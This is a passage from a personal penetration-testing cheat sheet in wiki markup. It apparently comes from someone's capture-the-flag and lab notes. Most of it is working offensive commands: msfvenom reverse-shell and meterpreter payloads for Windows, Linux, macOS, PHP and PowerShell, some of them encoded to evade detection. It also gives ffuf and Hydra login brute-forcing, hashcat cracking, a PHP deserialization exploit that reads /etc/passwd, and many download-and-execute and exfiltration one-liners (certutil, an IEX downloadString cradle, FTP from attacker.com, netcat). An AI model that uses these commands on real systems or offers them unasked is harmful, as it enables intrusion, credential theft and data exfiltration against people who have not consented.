&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
